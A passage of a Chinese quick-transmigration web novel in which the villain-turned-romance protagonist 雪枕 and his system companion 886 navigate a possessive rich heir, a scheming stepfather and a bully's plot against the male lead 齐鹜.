不能用对其他跟班的态度对他。
误打误撞之间,程誓已经领悟出这个道理。
唐雪枕跟他身边的跟班可不太一样。<
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他身边的跟班,首先是够听话,够狗腿,又得有能想出新乐子的脑子。
几乎可以说是随叫随到。
唐雪枕可没有这样的优良作风。
他反倒气性大得很,一说就生气,一碰就哭,比他七岁的表妹都娇贵。
现在被他拦住,还嘀嘀咕咕地说自己坏话。
但程誓还是忍了。
他执着地想要一个答案:“是唐家老头不让你跟我走动?”
“还是你自己不愿意?”
程誓低头,硬生生逼着雪枕和他对视。
他骨架大,宽肩,又经常锻炼,轻轻松松就遮住比他矮一头大雪枕。
此处无人,倒是更方便他了。
被挤在墙角的雪枕和飞到程誓肩膀上的886对视:……
真是难以回答的问题呢。
他昂了昂下巴,一副委屈又理直气壮的模样:“都不是。”
漂亮的黑发少年抿着唇,眼底的水雾散去些许,可还是亮得令人。
“是因为我不喜欢你,”他直白得很:“哪有你这样的人。”
上来就动手动脚,还说些莫名其妙的话。
程誓和唐雪枕对视,竟然觉得自己听出了他的言外之意。
是因为他自己讨人厌,所以唐雪枕才不喜欢他。
“我……”程誓下意识想辩白,又不想让自己的逻辑跟着唐雪枕走,换了话头。
“当初不是你要做我的跟班?”
程誓反问:“你想跟我混,我答应了,也给你刷卡买单了,对不对?”
在他的注视下,唐雪枕慢慢点头。
“那现在连半个月都不到,为什么又觉得我讨厌?还是觉得,我给你花的钱少了?”
程誓深谙等价交换的道理。
跟班愿意追随他,是因为有利可图,同理,唐雪枕也是。
唐雪枕不愿意跟他了,肯定是觉得呆在他身边得不到自己想要的东西。
钱和权,程誓一个都不缺。
如果说刚刚上露台找唐雪枕的时候,他只是想要一个答案,现在就……
程誓动了动手指。
无端回忆起指腹擦过那一截细白手腕的触感。
程誓掌心有茧,颇为粗糙,平日里接触的跟班也都是能跑能跳跟他一起玩赛车的。
乍一触碰到柔软细腻的肌肤,竟让他无端联想到今天下午阿姨送来的牛乳布丁。
怪不得这么娇气。
手上一点茧都没有,还喜欢掉眼泪,脾气大得很……
倒是像他妈养的布偶猫,娇贵任性,吃饭都要人喂。
这样的人,程誓本应该看不上的,但目光触及那双黑白分明的眼睛时,他又陡然生出一个念头。
他要把人留在身边。
这个念头突兀又古怪,偏偏程誓想不出拒绝的理由。
还不知道自己已经被单方面得到归属权的雪枕眨眼。
对了,钱!
他可是个拜金炮灰,怎么能不爱钱?
谁的钱他都爱!
雪枕对同为反派的NPC还是很宽容的。
虽然程誓也是和龙傲天男主对着干的炮灰,但他的钱不是呀。
不管怎么说,钱是无辜的。
雪枕歪了歪头。
“难道我说是,你就会给我刷卡吗?”
他摩挲着已经不疼了的手腕,斜斜觑着程誓,漂亮的眼睛里满是好奇。
程誓心一动。
10. 拜金男友10
“那当然。”
见雪枕松口,程誓的心情也好上几分。
“有什么是我给不了的?”他还不忘踩一脚齐绥川:“跟着我才有的玩呢,你要是去找齐绥川,绝对无聊死。”
“所以,”程誓对雪枕伸出手:“你不能再拒绝我了。”
只要乖乖听话,自己会对他很好的。
程誓目光灼灼,灰蓝色的眼睛紧紧盯着面前人。
终于,在他的注视下,唐雪枕也伸出手。
葱白的指尖轻轻落在他手上。
“那你不能骗我。”
雪枕和程誓一块出去,倒是碰见了出来找他的唐贾。
唐贾是个老油条,碰见谁都是笑呵呵的模样,挑不出错处。
碰见程誓也是,摆出一副和善的笑:“程家小子也来了?”
程誓不算待见他,不咸不淡地应了一声。
他还攥着雪枕的手。
昭示归属权一般,小麦色的大手包裹着比他细一截的腕子。
“这是……?”
唐贾一时拿不住程誓的意思。
他记得这位脾气暴躁,直来直去,怎么现在作此小儿女情态?
还是对他的继子……
唐贾把探究的目光放在雪枕身上。
雪枕就去看程誓。
果然,程誓开始解释。
“没什么,”但他面对老头可没有耐心:“出来透气碰见了,聊着聊着发现很有缘分,所以打算多在一起玩玩。”
“唐叔有什么意见吗?”
程誓反把问题抛回来,唐贾自然不能拒绝。
他“呵呵”一笑:“我这孩子不成器,能入你的眼,也是他的福气。”
程誓却不这么认为。
“成器?有什么好成的?”他的表情懒散得很,浑然一个无所事事的纨绔:“倒是唐叔,不必对他要求太高,最后反倒闹了个满盘皆空。”
四目相对。
唐贾那双有些浑浊的眼睛一怔。
程誓大名在外,基本都是说他玩心重、叛逆、执拗的,风评说不上好。
比起齐绥川,更是一个天上一个地下,谁看了都知道该选谁。
近年来,A市的水越浑,齐氏与程家的争夺也到了白热化,齐氏一家独大,程家也不遑多让,逼着其他家在二者当中做选择。
唐贾慎之又慎地选了齐氏。
但他在生意场上向来谨小慎微,面对两家争夺也最多是保持中立,做的最出格的事也就是嘱咐家里两个孩子多和齐绥川、程誓他们接触。
唐詹年纪长,再想攀附不太合适,但唐雪枕可以。
他这个便宜继子,长了一张好脸,又是个受不得苦的。
一吩咐下去,就忙不迭照做。
本来,唐贾还怕唐雪枕搞砸事情,嘱咐唐詹多看着他点。今天一看,很成功嘛。
也不枉他好吃好喝养着这个小拖油瓶。
唐贾眼睛一转,心思已经变了千百回,脸上还是笑。
“那是,”他只说:“不过我这孩子被他妈惯坏了,又不是个聪明的,还得你多担待。”
程誓哼了一声:“是吗?”
他看看睁着一双圆眼睛,仿佛置身事外的唐雪枕,大发慈悲地松手。
“行了,今天太晚了。”程誓对着唐雪枕:“跟唐叔回去吧,明天得了空去找你。”
他从唐雪枕口袋里掏出手机,又捏住他的指尖解锁,把自己的聊天框置顶。
“随时联系。”
程誓恢复平时吊儿郎当的神态,把手机塞回去,还不忘理理唐雪枕有些乱的衣襟。
看见唐雪枕点头,他满意地笑笑,转身离开。
雪枕拍拍身上不存在的灰。
他的便宜继父还站在原地,眉头紧锁,似乎被方才的场景惊讶到。
“爸?”雪枕眨眨眼:“不回去吗?”
唐贾这才反应过来。
“回,回。”他咧开一个笑,看雪枕的眼神也充满慈爱。
“今天你也累到了,”唐贾扮演起和蔼的慈父:“晚上就在家里休息。学校旁边那套公寓,住着怎么样?要不要换套大点的?”
无事献殷勤。
雪枕跟886嘀咕了一下,表情不变。
“还好,”他摇头:“我一个人住蛮大的。”
唐贾啧叹一声:“那也行。”
他在屏幕上点了几下,给雪枕转账:“那爸给你再转点钱,你跟程家小子出去的时候,多表现表现自己。”
在唐贾看不见的地方,雪枕扯扯嘴角。
这个NPC怎么比他还拜金呢?
车上。
李娜娜不在,据说是在晚宴上碰见了朋友,约了牌局,打到天亮才回家。
唐贾便带着雪枕先回去。
他年纪大了,有些精力不足,靠在车后面休憩,不乏疲态。
但神色还是异常兴奋,看雪枕的眼神也很慈爱。
这和往日大有不同。
唐贾是个商人,虽然以前对二婚妻子带来的继子还不错,供吃供穿,除了不让他接触家中产业,待遇和唐詹是差不多的。
一方面,雪枕进他家门的时候才六七岁,养了十几年也有些感情,总不至于苛待。
另一方面,唐贾也有自己的打算。
他不动声色地打量雪枕,后者正百无聊赖地玩手机。
打理好的小卷毛有些乱了,一簇呆毛倔强地翘起来,略长的发梢被他别到耳后,露出雪白的脸颊。
大概是还有些热,腮边泛着淡淡的粉。
瞳色漆黑,眼底有些水光,湿漉漉的。
唐贾知道他这个便宜继子长得漂亮。
长得漂亮,还很懒怠,最喜欢的是去奢侈品店扫货,花钱大手大脚。
他不可能也没办法让雪枕接手生意,但让继子去联姻,还是很不错的选择。
唐贾对自己的儿子唐詹有什么能耐心知肚明,不把家产都败光就是好的。
他在世的时候,尚且管得住,等他死了呢?
难道要在地下看着不争气的儿子被狐朋狗友骗成穷光蛋,被人扫地出门?
但唐贾又知道,在他死前把唐詹教好,是不太可能的。
让唐詹高攀一门亲事,寻找一个有能耐的儿媳妇,也没人看得上。
他的继子倒是可以。
之前,唐贾只是想想,毕竟他想高攀的门户也都不是好相与的,继子的年龄又太小。
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但今天……
唐贾若有所思。
据他所知,程家那小子脾气可算不上好。虽然不知道为什么他会主动过来找唐雪枕,但唐贾是理解了他的言下之意的。
程誓在敲打他,让他不要打教唆继子去讨好齐家的主意。
他对唐雪枕的态度又有些暧昧。
唐贾可不会放过这个好机会。
他瞥了一眼雪枕的方向,指腹按着额角,忽地萌生出一个想法来。
既然程誓可以,那其他人呢?
886在车内的冷气中上下摇摆。
“宿主,”886扇动翅膀,提醒:“这个NPC在看你,笑得很恶俗!”
雪枕:?
他掀起眼皮:“你从哪里学的用词?”
小肥啾骄傲地挺起毛茸茸的胸脯。
“886一直在补习这个世界的知识,”886:“为了便捷高效,886接入了这个世界的网络接口!”
恋爱系统开始向雪枕展示自己的成果。
“为了更好地协助宿主和龙傲天恋爱,886读取了网络上最流行的小说和电视剧!”
雪枕深感不妙:“等等……?”
一串书名剧名展示在他眼前。
《邪王追妻:99次逃婚,小娇妻哪里跑》
《重生后我嫁给了前任他爸》
《弟夺兄妻,嫂子你好香》
《一胎八百八十八宝:男主的不孕不育被我治好了》
……
雪枕:……
他揉了揉眼睛,感到有些头疼。
886到底输入了什么数据?
本来他只是觉得886今天沉默了一点,想关心一下,没想到886带薪摸鱼!还看这种东西!
886趁热打铁。
仗着只有宿主看得见自己,它在车内飞来飞去,尾巴几次扇到唐贾的脸,都像虚影一样掠过。
雪枕的眼皮跳了又跳。
恶俗啊。
“宿主!886制定好了攻略龙傲天的计划!”
886忙不迭地介绍:“我们可以走狗血路线,宿主先和NPC程誓谈恋爱,让男二朋友妻不可欺,轮到男主就是弟夺兄妻!”
“这个世界非常流行嫂子文学!”
雪枕听不下去了。
他一把捏住在自己腿上跳来跳去的肥鸟。
886的豆豆眼里充满茫然。
雪枕面无表情:“你还是删掉数据吧。”
果然,他更喜欢那个事事都要问他的886,而不是现在这个。
雪枕扶额。
早知道就不问了。
本着和系统友好相处的精神,雪枕斟酌着开口。
“886。”
“嗯?”886在他肩头立正站好:“宿主要说什么?”
雪枕暗示:“其实你收集数据的时候,可以酌情考虑一下,我其实是反派部门的。”
不要把他安排成什么命苦小白花的角色了。
雪枕听着都觉得真命苦。
他明明是反派,为什么到了恋爱部门,就得给龙傲天伏低做小?
就算要和龙傲天恋爱,他也要做玩弄龙傲天的那个!
11. 拜金男友11
一夜过去。
第二天下午,雪枕还是要上学。
只是这次不同,唐贾兴师动众地带着人去他的公寓里搞装修,里里外外都动了。
唐贾是这么说的:“既然这里离学校近,那就不搬回来了,把这里重装一下就行了。”
雪枕愉快地接受。
唐贾似乎对他很满意,还暗示他多和程誓来往,但也不要太主动。
雪枕觉得886和这个NPC很有共同语言。
公寓还在动工,雪枕便打算先去学校。
临走前,他收到一条消息。
“下午有空没?”
紧接着,又一条消息发来:“到你家楼下了。”
雪枕:。
赫然是和他加了好友并且把自己置顶的程誓。
前后两条消息只隔了五分钟。
好吧,其实这人根本就没有给他留拒绝的余地是吗。
楼下传来鸣笛声。
雪枕从窗口探出头,不出意料地看见一辆极其醒目的大红色敞篷跑车。
金色车标直挺挺地矗立在车头,引得一群人驻足讨论。
视线中心的程誓浑然不觉,一只手搭在窗外,领口很开,露出小麦色的胸膛。
好在他还知道带个墨镜。
瞥见窗口的雪枕,程誓冲他招招手。
嗯……他是不是需要感谢这人没有在楼下大喊他的名字?
雪枕不得不下楼。
还好,程誓没有把车开到学校门口接他。
要不然,雪枕觉得自己很可能会在学校里面出名。
到时候别人对他指指点点,介绍说他就是那个被“社会人士”开豪车接送的A大学生。
雪枕不敢想象。
至于为什么是社会人士,只因程誓的打扮跟学生没有什么关系。
到了楼下,程誓率先开口。
“打斯诺克,去不去。”他给雪枕开了车门,让他坐到副驾:“新开的场子。”
雪枕系上安全带。
“我下午有课。”
他看看课程表,反问程誓:“你不用上课吗?”
程誓被问住了。
本来他家老头是想安排他去国外,跟着他的舅舅念书,但他对经商一点兴趣都没有,自己改了志愿。
老头气得要死,家里吵了两个月,最后把他塞进A大读管理了。
程誓也不得不妥协,但他基本上也没上过课。
所以在雪枕问他有没有课的时候,程誓顿了一下。
雪枕一听就明白了。
他便婉拒:“下午的课不能逃,是系里的教授。”
程誓作为不务正业的纨绔,当即就想反驳,有什么课是不能逃的?
但他踩下油门,转弯时候余光瞥见后视镜里的雪枕,看见他换下昨天正式的打扮,穿着清清爽爽的短袖短裤时,又憋回去了。
天气闷热,A市尤甚,空气都是厚重黏腻的。
唐雪枕好像怕热,穿了件水洗蓝的短袖,料子看着很薄。白色短裤,两条又细又直的腿露出来,搭在真皮坐垫上,压出一点软肉。
还背了个斜挎包,里面鼓鼓囊囊塞着几本书。
乌发柔软,发梢还打着卷,落在雪白的脖颈上。
脸上干干净净的,脸颊粉白,一双眼睛又圆又亮。
看着还挺乖。
程誓的话打了个转:“几点的课?”
雪枕看看时间:“三点半。”
“那有时间,”程誓松口气:“带你先去吃个饭,然后再去打球。”
见雪枕面露犹豫,他大手一挥:“放心,绝对让你准时上课。”
话说到这里,再拒绝就不好了。
程誓也不算什么好说话的人,雪枕只好点头。
引擎轰鸣,程誓稳稳按住方向盘,加快速度:“走喽。”
约莫十几分钟,二人抵达目的地。
雪枕下车,看着地标性建筑:“在这?”
对面高耸入云的大厦上,赫然是“齐氏集团”几个字。
“嗯,”程誓把车钥匙给侍应生,让他去停车:“是啊。”
他理解错了雪枕的意思:“先吃饭,从这到A大也就半个小时,不会迟了你的。”
雪枕“哦”了一声。
等电梯的间隙。
雪枕戳戳886圆滚滚的脑袋:“886,你能定位一下男二的位置吗?”
任务者有时需要得到关键人物的位置和信息,具体程度取决于系统和任务者自身的等级。
雪枕在快穿局呆了很久,等级不低,奈何转职到了恋爱部门,绑定新人系统。
“886可以的,”886奋力检索数据:“一百五十米内……五十米内出现高频能量点……宿主,根据数据显示,是男主!”
雪枕挑眉。
这么近?
没有见到男二,倒是可能碰见男主。
果然,在他想找的时候找不到,没准备好的时候就来了。
雪枕按住还在欢呼的886。
圆滚滚的肥鸟扇动翅膀,在他脖颈处蹭来蹭去。
886没有实体,按理来说雪枕是不会有感觉的,但毛茸茸的翅膀就蹭在脸上,雪枕还是打了个喷嚏。
他从口袋里掏出一张面巾。
“冷?”
程誓见状,把自己的牛仔外套递给雪枕。
“下次多穿点,”他伸手捏捏雪枕的大腿:“看看,有冷气就冷了。”
程誓伸手很突然,雪枕往后躲了一下也没躲开,硬是被捏了一下腿肉。
这人!
“你怎么又动手动脚?”他抱着程誓带着体温的外套,拧起眉。
雪枕露出很不高兴的表情。
奈何面前人是个混不吝的,见他抿唇也觉得是温吞吞地撒娇。
雪枕很不客气地给他一记白眼。
“呦,脾气这么大。”
程誓咂舌,却不是生气,感觉那一眼像是小钩子似的挠在心底。
唐雪枕长得漂亮,眼睛也又圆又亮,睫毛扇子似的,生气的时候眼睛更亮了。
看得他想故意把人惹生气,然后欣赏他嗔怪的模样。
眼睛肯定更亮,脸颊也因为生气染上薄粉,羞恼地瞪着他。
说不定还会打他两下,柔软细腻的掌心贴上来……
高大男生忽然顿住。
自己是变态了吗?
他看着唐雪枕走在前面,气鼓鼓的背影。
程誓回过神。
不对,为什么要想象自己被他打啊?!
程誓心底一片恶寒。
而且唐雪枕,怎么说也是男生吧?
虽然跟他比是差得有点远了,细胳膊细腿,皮肤还很白,声音也很软……
雪枕不知道程誓心底在想什么。
他只是往前走,慢吞吞把手上的外套穿身上。
是有些冷。
大楼里冷气开得格外足,而他本来只是打算去学校,包里除了书和平板什么都没有。
他裹着外套,余光瞥见程誓没事人似的穿着无肩短袖,露出肌肉紧实的手臂,一点都不觉得冷似的。
难怪一天到晚在外面玩,学校也不去。
雪枕撇撇嘴。
这个NPC应该拉去无限流小世界磨练一下,比如他在反派部门的最后一个世界。
看他还敢不敢对反派boss动手动脚。
程誓也浑然不觉雪枕在思考什么。
他清了清嗓子,欲盖弥彰地转移话题:“上面有家料理,味道还不错,吃吗?”
雪枕“嗯”了一声:“可以
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。”
这个点,餐厅里没有什么人。
程誓大概是VIP用户,刚一进去,就被迎进了包间。
他点了餐,又让雪枕点。
雪枕不太饿,随便勾了两道。
如果不是程誓非要让他来,他现在已经吃完午休了。
但这一趟也有意外之喜,男主要出现了。
每个世界,和他作对的龙傲天。
龙傲天的波频是小世界里最高的,新手任务者非常容易受到影响。
尤其是反派,尽管前期龙傲天还没有成长,但对任务者的压力也很强。
许多新手任务者,一进行为难/欺辱龙傲天任务的时候就把握不好。
雪枕倒是没有过。
他为难微末之时的龙傲天,雪中送冰火中送碳,样样都没落下。
作为反派,雪枕最喜欢看龙傲天在自己面前低声下气、忍辱负重的模样。
可在这个世界他的任务是和龙傲天谈恋爱。
雪枕思忖。
他在思考,程誓不知道为什么也有些沉默,眼睛时不时往他身上瞄。
上菜的侍应生打断包间里的安静。
然而,布菜的时候,半掩的门忽地被用力敲响。
门外传来声音:“程哥,程哥!”
程誓皱眉:“谁?”
门外的人进来,雪枕不认识,是个一身logo、打扮浮夸的年轻男人。
来人似乎认识程誓,大摇大摆地进来和他打招呼,留下外面一脸无错的侍应生。
“真是你啊!”他笑呵呵:“我在楼下就看见你了,不确定是不是你,所以来打个招呼。”
年轻男人十分自来熟:“程哥来打球的吗,一起啊,小伍他们也在。”
不知为何,他强调一句:“今天有乐子看。”
“不了。”
程誓的手指在桌面点脸点,态度明显有些冷:“你们去吧,我带着人呢。”
听见这话,年轻男人才注意到雪枕似的。
他挑了挑眉,一点不在意程誓的冷漠,反倒关心起雪枕来。
“新人?”
年轻男人挤眉弄眼,语气暧昧:“很漂亮嘛,程哥有眼光。”
雪枕盯着他看了一会。
“行了,纪凯。”
程誓的脸黑下来,扬声:“出去吧,爱怎么玩怎么玩,别凑到我跟前。”
年轻男人,纪凯被他一训,收敛起方才那副不着调的样子,灰溜溜退出去。
门关上。
“你不用理他,”程誓硬邦邦地转移话题:“没什么新人旧人的,他以己度人,特low。”
雪枕不甚在意:“嗯。”
方才那位也是一个很明显的反派,看着很像为难龙傲天然后被狠狠打脸的。
果然,程誓拧着眉,思忖了一下开始打电话。
“纪凯怎么现在出现在这里,不是才闯完祸被他爸关禁闭?”程誓自言自语:“什么乐子要看……”
雪枕眨眨眼,警惕地竖起耳朵。
不会是他想的那样吧?
很快,对面接了电话,程誓简单交代了几句。
“老大,我帮你问问啊。”
对面是程誓的跟班之一,背景一般,胜在很会交朋友,消息灵通。
等了一会,跟班发来消息。
“老大,问到了,”对面:“纪凯之前闹到警察局是因为在俱乐部对女助教动手动脚来着,然后和一个兼职的工作人员起了冲突,打架挂了彩,被他爸押去道歉。”
“对了,好像就是老大你今天要去的那家。”
雪枕忽然开口:“那个工作人员叫什么名字?”
对面“嘶”了一声,像是惊讶为什么和老大打电话还有旁人,但还是回答:“齐……好像叫什么齐鹜吧。”
12. 拜金男友12
纪凯慢悠悠地往外边走。
他吃了个挂落,脸上倒也没什么不高兴的表情,斜斜觑了一眼追上来一脸惊慌的服务员,嗤笑一声:“怕什么,我能吃了你?”
服务员连忙摇头。
纪凯哼笑,随手从口袋里掏出一张卡:“结账。”
服务员战战兢兢拿了过去。
纪凯潇洒走开。
电话响了,他按下接听键。
“纪哥!”电话那头是他的跟班兼发小,叔伯家的亲戚,压底的声音不难听出兴奋:“我们把那小子拦住了!你在哪呢?”
纪凯眉头舒展:“马上就到。”
他心情好了些许,被齐鹜直言拒绝的恼怒也压了下去。
纪凯并不是个好脾气的,因为辈分小,被家中长辈不知道惯成了什么样子。
他年纪不大,却爱干些欺男霸女的事,但也知道有的人惹了是他爹妈摆平不了的。
就在最近……
纪凯耷拉下脸。
他上回喝了些酒,被一群狐朋狗友拉去打斯诺克,说要跟他切磋一番。
纪凯吃喝玩乐在行,也就去了,几句下来都在赢,听着包厢里男男女女的赞叹,飘飘然不知身在何处。
他随手指了一个眼生的年轻女生,长得不错,好像是俱乐部的助教,让她给自己喂酒。
周围人发出心照不宣的哄笑。
纪凯年纪轻,但玩得花,好整以暇地看着年轻女生脸色发白地走过来。
那个女生抖着手开瓶倒酒,哆哆嗦嗦地递到他面前,却被他推开。
“这可不是用手,”纪凯酒意上来,轻佻地用钱夹拍拍女生的脸:“用嘴,懂么?”
年轻女生的脸一下子白了。
“不会?”纪凯眯着眼,打量面容清秀的女生,不怀好意地补充:“上面不会,下面也行。”
包间里哄笑声更大,他懒洋洋打开钱夹,递给女生一张空白支票:“喏。”
“喂完了这张就是你的,”纪凯捏着轻飘飘的支票,随手塞进她衣领里:“手脚麻利点。”
女生抖着肩膀,眼泪要下来了。
这一招纪凯玩过很多次。
他有钱,贴上来的男男女女数量不少,无一不是曲意逢迎,任打任骂。
但这些玩多了也没意思,纪凯就开始折腾陌生人。
夜场、俱乐部里不乏相貌不俗的素人,看他们惊慌失措、满眼含泪的样子,可比包养小情人有趣多了。
但纪凯没想到,俱乐部还有一个新来的兼职助教在包间里,听见他的话,沉着脸走上前。
然后他就因为酒后寻衅滋事进了局子,等人来捞,让他爸在合作伙伴面前丢了面子。
好死不死,正好碰上他爸打算和齐家合作,又牵扯到介绍他表姐给齐绥川的事。
想到这里,纪凯脸色又难看起来。
他被勒令去道歉,还被禁了足。
被关禁闭的时候,他把那个不知天高地厚的俱乐部助教的名字翻来覆去想了几十遍。
纪凯可从没有那样狼狈过,在常去的俱乐部,在一群跟班和陪酒面前,被年轻男生往脸上狠狠打了一拳。
挨打的时候他还没醒酒,酒意熏人,视线迷蒙中只隐约看见一张英俊青涩,又有些说不出来的熟悉的脸。
包间里的人赶紧去拉架,不过男生力气非常大,大得离谱,几个人来了都没拉住。
纪凯就狼狈地挨了人生中第一顿打,喝下去的酒全吐出来了。
好不容易让狗腿把人按住,警/察闻风而至。
“不还是落我手里了。”
纪凯捏着服务员小跑着递过来的卡,轻蔑一笑。
他可记得那个胆大包天的助教,让人去查,竟然还是跟他同校同专业的学弟。
那个福利院出身,以高考状元身份考进来的齐鹜。
“老实点!”
“站那!跑什么跑!”
纪凯熟门熟路地走进预定的包间,听见狗腿们熟悉的声音。
他们几个人一群,对着一个看着势单力薄的男生出言不逊,恐吓对方。
男生背对着纪凯,背影高挑,能看出优越的下颌轮廓和隐约的肌肉线条。
尽管看着还很年轻,已经有几分摄人的气势。
听见脚步声,齐鹜转过头,冷冰冰地看了纪凯一眼。
那一眼让纪凯想到那天被打的痛感,下意识后退一步。
这人打起架来又准又狠,毫不留情,让他到现在都心有余悸。
纪凯是一呼百应的富家少爷,不管干的事多离谱也没人教训他。
只有这一个不知道从哪冒出来的穷小子敢动手。
而且……
纪凯凝神,仔细打量齐鹜的脸。
他怎么感觉,面前的人长得有些眼熟,像他爸致力于合作的齐氏集团的……
不对。
纪凯牙酸了一下,暗自拍拍脑袋。
面前这个齐鹜就是个福利院长大的孤儿,最多有幸和齐叔一个姓罢了。
再说了,齐绥川还没死呢。
“你要干什么?”
齐鹜冷冷扫了一眼包间神色各异的众人,目光落在一脸古怪的纪凯身上。
他记得这个人。
前段时间,他在俱乐部兼职,当斯诺克助教,下了晚自习才去。
齐鹜不善言辞,也无心交友,和同为助教的同事只是点头之交。
俱乐部是私人的,薪水丰厚,就算是兼职也会给比寻常高出一倍多报酬。
只是这里来往的客人非富即贵,不乏闹事找茬之徒,言语侮辱和轻视是常事,离职率也居高不下。
齐鹜缺钱,非常缺,不肯放过任何一个赚钱的机会,硬是在这里呆了好几个月。
但那一次……
齐鹜眼神暗了暗,对上面前神态轻蔑的纨绔子弟,眉头紧锁。
他没忍住动手,因为看不惯这人的羞辱
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行径,给了对方一个教训。
齐鹜从小长得就快,十来岁的时候已经比福利院十几岁的孩子高大了。又得苏姨精心照顾,营养没落下,如今也堪堪长到一米□□。
他的体格和打架技巧也不错,都是在兼职中磨炼出来的。
在社会上摸爬滚打难免碰见坏人,齐鹜是争强好胜的性子,没多长时间下来就琢磨出自己的路数。
和纪凯打架也是。
纪凯是活脱脱一个肩不能提手不能挑的纨绔,又没有防备,怎么可能打得过他。
那帮狐朋狗友也是,各个脚步虚浮,不成气候,也被他按趴下。
本来齐鹜都做好了今天不能善了的准备,但那个女生在慌乱之中报了警,拉着他从员工通道跑出去。
警察来了,自然也惊动长辈,他光杆一个天不怕地不怕,纪凯倒是被亲爸按着头赔礼道歉。
当时纪凯恨不得拿刀把齐鹜活生生剜了,却还顾忌着亲爹,不情不愿地说对不起。
现在就杀回来了。
“你倒是记得我,”纪凯皮笑肉不笑:“这不是巧了,我也是。”
齐鹜的回应显得很冷淡:“嗯。”
这一拳下去像是打在棉花上,纪凯听得牙酸,脸色又难看几分。
这人出身平平,偏偏又是俗世意义上的“优秀”,更是纪凯最讨厌的类型。
纪凯一看见这个叫齐鹜的穷小子,瞥见那双黑不见底的眼睛,就莫名想到齐绥川。
这两个人长得不像,气质也大相径庭,齐鹜沉默,齐绥川傲慢,偏偏纪凯就是不由自主地把两个人放在一起比较。
在齐鹜身上,纪凯莫名就能感觉到来自齐绥川的压迫感。
别人都说齐绥川年轻有为、彬彬有礼,纪凯却知道这人看所有人的眼神都是高高在上的,如同看待不值钱的蝼蚁。
那是一种深入骨髓的傲慢,甚至无意了解任何人。
偏偏齐鹜也是。
“哼,”纪凯偏头,用眼神示意狗腿过来,一个字一个字说:“等会看你能不能嚣张起来。”
齐绥川看不起他也就算了,齐鹜算什么东西?
一个孤儿,一个到处打零工维持生计的穷小子,凭什么对他露出那样轻蔑的表情?
纪凯恨得牙痒痒,偏偏面前的齐鹜一脸冷漠,倒显得他如同上蹿下跳的小丑。
而且,他爸前几天才告诫他不要惹事生非,要不然就停了他的卡。
不能惹事……那就换种方法教训他。
狗腿得到示意,忙不迭分散开来,去拿纪凯要的东西。
在齐鹜警惕的视线中,纪凯呵呵:“你也不用紧张。”
“我只是请你来……”他玩味地笑,接过狗腿手中的球杆:“玩个游戏而已。”
齐鹜不买他的账。
一双凌厉的眸子藏在略长的额发下,投去冷冰冰的目光:“什么游戏?”
纪凯但笑不语:“你等会就知道了。”
13. 拜金男友13
雪枕得知纪凯要教训的是齐鹜,他就知道是龙傲天在走剧情线了。
剧情点有大有小,看看纪凯,雪枕就知道这人只是龙傲天男主升级路上的一只小虾米。
是小虾米,就不用过分关心。
但,雪枕现在拿的是恋爱剧本。
雪中送炭什么的,是刷感情分的好方法。
雪枕就暗戳戳催促程誓。
程誓却对纪凯要去为难谁不太感兴趣。
他跟纪凯玩不来,知道他的为人,也不太能看得上那帮人,只是维持两家的脸面。
至于齐鹜,他更不认识了,没有关心对方的理由。
程誓是来请人吃饭,培养感情的,点了招牌菜式,又估摸着雪枕的口味,给他上了几道小甜品。
圆桌上摆了满满当当的精致菜式,两个人完全吃不完。
程誓还一边嫌弃他手上腿上都没多少肉,自己一只手就能拎起来,一边给他夹菜。
雪枕眼睁睁看着时间一分一秒过去。
龙傲天男主疑似在挨打,而他不得不应付同为反派的投喂。
真是抱歉了()
雪枕回忆了一下之前任务世界里的龙傲天走剧情时候的反应。
纪凯这种一看就是炮灰的,很快就会被龙傲天打脸解决掉,没什么大事。
这样想着,雪枕还是cue了一下886,让它注意龙傲天的动向,不要真出事。
886飞来飞去,应下了:“宿主,检测过了,男主的身体数据都正常,没有受伤!”
雪枕就放心地吃饭。
不得不说,这家餐厅的味道是真不错。
雪枕捏着一枚椰奶挞,在心底夸程誓眼光不错。
“唐老头不给你吃饭?”
程誓不饿,随意懂了几筷子,心思全用在观察雪枕身上,见他吃得雪腮都鼓起,像囤食的小仓鼠,觉得好笑:“嗯?是不是?”
雪枕觉得程誓的语气有一些不怀好意。
这人不吃饭,一个劲盯着他,好像他脸上有吃的一样。
雪枕喝了一口抹茶牛奶,顺了顺气,不搭理程誓。
程誓却是越不搭理越来劲的性格。
他凑近雪枕,手很欠地戳他的腮帮,眼底全是兴奋。
“诶,”程誓像发现新大陆一样:“你这里倒是有点肉,我捏一下。”
雪枕:!
给程誓一戳,差点没把没咽下去的牛奶吐出来。
“咳咳。”
雪枕拿纸巾擦了擦唇角,拧着眉头看举起双手一脸无辜的程誓:“干什么?!”
“不好意思。”
程誓表示:“我不是故意的,就是有点好奇。”
他的眼神掠过雪枕殷红湿润的唇瓣,粉白的脸颊,还有因为生气得格外莹亮的乌黑眼瞳。
秀气的眉头拧着,鼻尖也微微皱起,气鼓鼓地看着他。
程誓对雪枕的确非常好奇。
他既讶然同为十七八岁的男生,为什么雪枕比他自己、他身边的任何人都矮些。
不光是矮,皮肤还更白更软,长相也精致得不像个男生。
还有脾气。
程誓自认不是个好脾气的,身边人非富即贵,纵然在家、在外人面前拽得跟二五八万一样,也不会在他面前表露。
雪枕却不是。
他爱使小性,脾气大得很,一言不和又要掉眼泪,总在人前,非常难哄。
程誓说不出那种感觉。
按理说,他应该对这种人敬而远之,偏偏雪枕长了一张怎样发脾气都不违和的脸。
浑然天成的,应该受到宠爱和娇惯,谁也舍不得苛责。
这就是程誓的纠结之处了。
他自认不是好性格,可他现在对雪枕是十足十的好奇,又碍于不好描述的犹疑,下意识觉得自己应该离人家远点。
一番天人交战,程誓毅然决然选了前者。
“哈哈。”
程誓收回不安分的手,大喇喇靠在椅背上:“生什么气啊,不就捏你一下。”
“明天带你去其他地方吃啊。”
雪枕不理会这人的找补。
如果程誓是狗,那么一定是非常烦人、非常贱兮兮的品种。
较于比格,有过之而无不及。
而他还有一个886,换而言之,需要当双份的忍人。
“我吃好了。”
雪枕擦了擦手:“不是说去打桌球?”
程誓点头,有些惋惜:“算了……走吧。”
他忽然想起纪凯那档子事:“要不换一家?”
程誓是出来玩的,不是看戏法的。何况纪凯走前还瞄了好几眼雪枕,让他顿生不虞。
纪凯的为人他是知道的,非常糟糕,因为他拂了兴致,不值当。
“不。”
出乎意料地,雪枕拒绝了他的提议。
程誓挑眉。:“为什么?”
“你说是出来玩的,为什么要错过免费的表演?”
雪枕站起来,伸手拢了拢鬓边的碎发,侧脸在包间灯光的映照下白得几乎透明。
他语气懒散,一双黑白分明的眼睛直勾勾盯着程誓:“再说了……”
“你不是很喜欢热闹吗?”
***
